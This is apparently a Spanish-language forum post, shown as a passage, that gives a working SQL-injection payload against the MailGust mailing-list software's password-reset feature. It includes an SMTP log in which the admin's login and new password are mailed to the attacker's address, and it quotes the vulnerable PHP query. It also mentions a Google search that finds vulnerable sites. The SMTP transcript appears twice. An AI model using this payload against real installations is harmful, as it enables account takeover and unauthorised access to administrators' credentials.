Código:
[ tu_email], 'or'a'='a'/*@hotmail.com
ejemplo de mail enviado por la web vulnerable:
Código:
220 [MAILSERVER] SMTP Service ready
HELO [MAILGUST]
250 [MAILSERVER].
MAIL FROM:<me@localhost.com>
250 MAIL FROM:<me@localhost.com> OK
RCPT TO:<[tu_email]>
250 RCPT TO:>[tu_email] OK
RCPT TO:<'or'a'='a'/*@hotmail.com>
250 RCPT TO:<'or'a'='a'/*@hotmail.com> OK
DATA
354 Start mail input; end with <CRLF>.<CRLF>
Date: Sat, 24 Sep 2005 16:11:38 +0100
Subject: New password
To: [tu_email],'or'a'='a'/*@hotmail.com
From: systemxxx@localhost.com
Your login name is: [admin_email]
Your new password is: 4993587
Click here:
http://localhost/mailgust/index.php?method=activate_new_password&list=maillistuser&pwd=4993587&id=1756185114
to activate the password, than try to log in!
It is recommended that you change your password afterwards.
.
250 <4335105B00009AE2> Mail accepted
QUIT
221 [MAILSERVER] QUIT
HELO [MAILGUST]
250 [MAILSERVER].
MAIL FROM:<me@localhost.com>
250 MAIL FROM:<me@localhost.com> OK
RCPT TO:<[tu_email]>
250 RCPT TO:>[tu_email] OK
RCPT TO:<'or'a'='a'/*@hotmail.com>
250 RCPT TO:<'or'a'='a'/*@hotmail.com> OK
DATA
354 Start mail input; end with <CRLF>.<CRLF>
Date: Sat, 24 Sep 2005 16:11:38 +0100
Subject: New password
To: [tu_email],'or'a'='a'/*@hotmail.com
From: systemxxx@localhost.com
Your login name is: [admin_email]
Your new password is: 4993587
Click here:
http://localhost/mailgust/index.php?method=activate_new_password&list=maillistuser&pwd=4993587&id=1756185114
to activate the password, than try to log in!
It is recommended that you change your password afterwards.
.
250 <4335105B00009AE2> Mail accepted
QUIT
221 [MAILSERVER] QUIT
la pregunta vulnerable esta dentro de:
Código:
[path_to_mailgust]/gorum/user_email.php at line 363:
...
$query = "SELECT * FROM $applName"."_$userClassName ".
"WHERE email='$this->email'";
...
...
$query = "SELECT * FROM $applName"."_$userClassName ".
"WHERE email='$this->email'";
...
buscando en google

Resultados 31 - 40 de aproximadamente 15.200
fuente:packetstorm.linuxsecurity.com
Salu2










Autor


En línea





, saludos